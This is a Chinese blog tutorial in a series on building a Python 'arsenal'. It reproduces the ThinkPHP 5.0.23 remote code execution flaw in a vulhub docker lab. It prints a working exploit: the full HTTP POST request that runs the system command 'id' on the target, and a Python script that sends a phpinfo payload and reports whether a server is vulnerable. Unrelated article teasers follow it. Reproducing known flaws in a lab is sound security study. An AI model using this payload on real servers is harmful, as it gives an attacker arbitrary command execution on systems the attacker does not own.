Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现(六十四)

news2025/1/16 1:45:27

Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现(六十四)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5.0.23-rce 漏洞举例,如果我们想要安装 5.0.23-rce 漏洞环境,可以 cd 到 5.0.23-rce ,然后输入以下命令启动靶场环境:

docker-compose up -d

在这里插入图片描述

然后我们在浏览器输入 https://localhost:8081就可以访问靶场环境

在这里插入图片描述

ThinkPHP5.0.23-RCE漏洞原理

ThinkPHP5.0.23-RCE漏洞是一种远程代码执行漏洞,存在于ThinkPHP框架的5.0.23版本及之前的版本中。该漏洞的原理是在TP5的路由解析过程中,由于未对用户输入进行足够的过滤,导致恶意用户可以构造特定的URL请求来执行任意的PHP代码。

具体来说,漏洞的原理如下:

  1. 在TP5中,路由解析过程中会将URL中的参数进行解析,并根据解析结果调用相应的控制器方法。

  2. 在解析URL参数时,TP5通过分析URL中的冒号(:)和斜杠(/)来确定控制器和方法的名称。

  3. 由于未对用户输入进行足够的过滤,恶意用户可以通过在URL中注入特定的代码来构造恶意请求。

  4. 恶意用户可以通过在URL中使用特殊字符(如冒号和斜杠)来改变URL参数的解析结果,从而执行任意的PHP代码。

  5. 当恶意用户构造的恶意请求被TP5解析时,解析结果可能会将恶意代码作为控制器或方法的名称,导致恶意代码被执行。

通过利用这个漏洞,攻击者可以执行任意的PHP代码,包括但不限于删除、修改、上传文件等恶意操作,进而对系统进行攻击或者获取系统敏感信息。

其POC如下所示:
url:/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP 5.0.23-RCE漏洞POC

接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC,代码内容如下:

POST /index.php?s=captcha HTTP/1.1
Host: host:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

我们通过BP抓包发送数据,得到相应的回显。

在这里插入图片描述

ThinkPHP 5.0.23-RCE漏洞POC编写

现在我们用python编写检测ThinkPHP 5.0.23-RCE漏洞的代码,内容如下:

#!/usr/bin/env python

import requests
from urllib.parse import urljoin
# from bs4 import BeautifulSoup

def thinkphp_5023_rce(url):
    # url = url+'/index.php?s=captcha'
    # print(url)
    # payload = r'_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1'
    # headers = {
    #     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
    #     'Content-Type': 'application/x-www-form-urlencoded',
    #   }
    payload = {
        '_method':'__construct',
        'filter[]':'phpinfo',
        'method':'get',
        'server[REQUEST_METHOD]':'1'
    }
    
    target = urljoin(url,'/index.php?s=captcha')
    # print(target)
    response = requests.post(target,data=payload,verify=False)
    print(response.text)
    if 'PHP Version' in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")
        
if __name__ == '__main__':
    url = 'http://localhost:8081'
    thinkphp_5023_rce(url)           

POC代码详细分析

这段代码是一个用于检测ThinkPHP 5.0.23版本远程代码执行漏洞的脚本。下面是对代码的分析:

  1. 导入requests模块和urllib.parse模块的urljoin函数。
  2. 定义了一个名为thinkphp_5023_rce的函数,接受一个参数url作为目标网站的URL。
  3. 构造了一个payload字典,包含了需要发送的POST请求的参数。
  4. 使用urljoin函数将目标网站的URL与特定的路径拼接成新的URL。
  5. 使用requests.post发送POST请求,将目标URL和payload作为参数,设置verify为False表示不验证SSL证书。
  6. 打印响应的文本内容。
  7. 判断响应的文本内容中是否包含"PHP Version",如果包含则表示漏洞存在,否则表示漏洞不存在。
  8. 在主函数中指定目标网站的URL,并调用thinkphp_5023_rce函数。

该代码是一个简单的脚本,用于检测ThinkPHP 5.0.23版本存在的远程代码执行漏洞。它发送一个POST请求并检查响应的文本内容中是否包含特定的关键字来确定漏洞是否存在。

运行效果图

如下是我们这串代码的实际运行效果图:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1853771.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

c#使用自带库对字符串进行AES加密、解密

文章目录 1 代码1.1 定义Aes加密类块1.2 在主函数中调用 2 获取Key和IV2.1 基本方法2.2 自定义Key2.3 技术方面的原理 参考文章: C#软件加密实例? 。 参考官文: Aes 类。 在使用C#的自带的System.Security.Cryptography.Aes模块进行加密和解…

mediasoup 源码分析 (八)分析PlainTransport

mediasoup 源码分析 (六)分析PlainTransport 一、接收裸RTP流二、mediasoup 中udp建立过程 tips 一、接收裸RTP流 PlainTransport 可以接收裸RTP流,也可以接收AES加密的RTP流。源码中提供了一个通过ffmpeg发送裸RTP流到mediasoup的脚本&…

基于PyTorch设计的全景图合成系统【文末完整工程源码下载】

前言 本项目实现基于PyTorch将多张图片合成为一张全景图。(图像存储路径为/images/1)。 作者:阿齐Archie(联系我微信公众号:阿齐Archie) 使用的图片为: 合成后为: 这个全景图项目主…

eNSP启动设备失败,错误代码40,网卡配置正常,虚拟机导致的错误解决过程

安装eNSP后出现以下错误。 按照帮助文档,查看了相关软件,尤其是vitualbox的版本以及网卡问题。网卡设置正常,vitualbox也匹配成功。 附:vitualbox各个版本的下载地址: 关于网卡名称的修改方法,参照博客 …

python实现技术指标(简单移动平均,加权移动平均线,指数移动平均线)

移动平均线是最常见的技术指标,它能够去除时间序列的短期波动,使得数据变得平滑,从而可以方便看出序列的趋势特征。常见的移动平均线有简单移动平均线,加权移动平均线,指数移动平均线。 一. 简单移动平均(SMA) 简单移…

2.超声波测距模块

1.简介 2.超声波的时序图 3.基于51单片机实现的代码 #include "reg52.h" #include "intrins.h" sbit led1P3^7;//小于10,led1亮,led2灭 sbit led2P3^6;//否则,led1灭,led2亮 sbit trigP1^5; sbit echo…

电容的命名规则

给如下参数给采购,就可以获取 还有一些参数需要重视 容值随着环境温度而保持的程度 常规应用时是可以不用看材质,但是如果使用在新能源汽车和极端环境下的电子产品,就需要关注材质,曾有供应商把可用级电容供应车企,导致…

动手学深度学习(Pytorch版)代码实践 -计算机视觉-36图像增广

6 图片增广 import matplotlib.pyplot as plt import numpy as np import torch import torchvision from d2l import torch as d2l from torch import nn from PIL import Image import liliPytorch as lp from torch.utils.data import Dataset, DataLoaderplt.figure(cat)…

8.DELL R730服务器对RAID5进行扩容

如果服务器的空间不足了,如何进行扩容?我基本上按照如何重新配置虚拟磁盘或添加其他硬盘来进行操作。我的机器上已经有三块硬盘了,组了Raid5,现在再添加一块硬盘。 先把要添加的硬盘插入服务器,无论是在IDRAC还是管理…

基于S7-200PLC的全自动洗衣机控制系统设计

wx供重浩:创享日记 那边对话框发送:plc洗衣 获取完整无水印设计说明报告(含程序梯形图) 1.自动洗衣机PLC控制的控制要求 1.1全自动洗衣机的基本结构、工作流程和工作原理 1.自动洗衣机的基本结构 2.自动洗衣机的工作流程 自动洗…

RepVGG论文阅读笔记

目录 RepVGG: Making VGG-style ConvNets Great Again摘要INTRODUCTION—简介RepVGG BlockModel Re-parameterization -- 模型重参数化融合Conv2d和BN,将三个分支上的卷积算子和BN算子都转化为卷积算子(包括卷积核和偏置)多分支融合&#xff…

【Python】已解决:pymssql引发的MSSQLDatabaseException错误

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例四、正确代码示例五、注意事项 已解决:pymssql引发的MSSQLDatabaseException错误 一、分析问题背景 在Python中使用pymssql库与Microsoft SQL Server数据库交互时,有时会遇到pymssql._mss…

k8s 部署 ruoyi 前后端分离项目

本文视频版 https://www.bilibili.com/video/BV17ugkePEeN 参考 https://blog.csdn.net/qq_50247813/article/details/136934090 https://gitee.com/nasaa/RuoYi-Vue-cloud https://www.itsgeekhead.com/tuts/kubernetes-129-ubuntu-22-04-3/ https://kubernetes.io/docs/se…

安装react之nvm版本低引起的问题

1.背景 准备搭建一个react,然后看官网文档 创建项目,使用命令行 npx create-next-applatest 创建项目的流程都是正常的。当我准备运行项目的时候,报错了 原先的报错没有了,从网上找了一个类似的 重要的内容是:当前…

【Mac】植物大战僵尸杂交版 for Mac(经典策略塔防游戏)游戏介绍

游戏介绍 植物大战僵尸杂交版 for Mac是一款非常受欢迎的策略塔防游戏,植物大战僵尸游戏以其独特的主题、幽默的风格和富有挑战性的关卡设计而著称。玩家需要种植各种植物来防御入侵的僵尸,每种植物都有其特定的功能和攻击方式。植物大战僵尸杂交版&…

5.树莓派4b+ubuntu18.04(ros版本melodic)+arduino mega自制两轮差速小车,实现建图导航功能

这一节介绍雷达的使用,我们使用的雷达型号是ydlidar x3 1.进入工作空间 cd catkin_ws/src2.下载官方提供的SDK文件 git clone https://github.com/YDLIDAR/YDLidar-SDK.git3.安装cmake sudo apt install cmake pkg-config4.编译和安装 进入YDLidar-SDK文件夹后如…

巴鲁夫MacroBuilder2.0.0.0软件巴鲁夫和使用手侧

巴鲁夫MacroBuilder2.0.0.0软件巴鲁夫和使用手侧

BL104应用在智慧零售多协议采集监控远程实时查看

在智慧零售领域,如今的市场竞争日益激烈,传统的零售模式已经难以满足消费者对服务和体验的高需求。智能化技术的引入,尤其是基于物联网的解决方案,成为提升零售业务效率和服务质量的关键。钡铼BL104 Modbus转MQTT网关作为一种先进…

Vue65-组件之间的传值

1、收数据 2、传数据 3、批量的数据替换 若是info里面有四个数据,传过来的dataObj里面有三个数据,则info里面也只有三个数据了 解决方式: 该写法还有一个优势:传参的时候,顺序可以随意!

MySQL中的ibd2sdi—InnoDB表空间SDI提取实用程序

ibd2sdi 是一个用于从 InnoDB 表空间文件中提取序列化字典信息(Serialized Dictionary Information, SDI)的实用程序。这个实用程序可以用于提取存储在持久化 InnoDB 表空间文件中的 SDI 数据。 可以对以下类型的表空间文件使用 ibd2sdi: 每…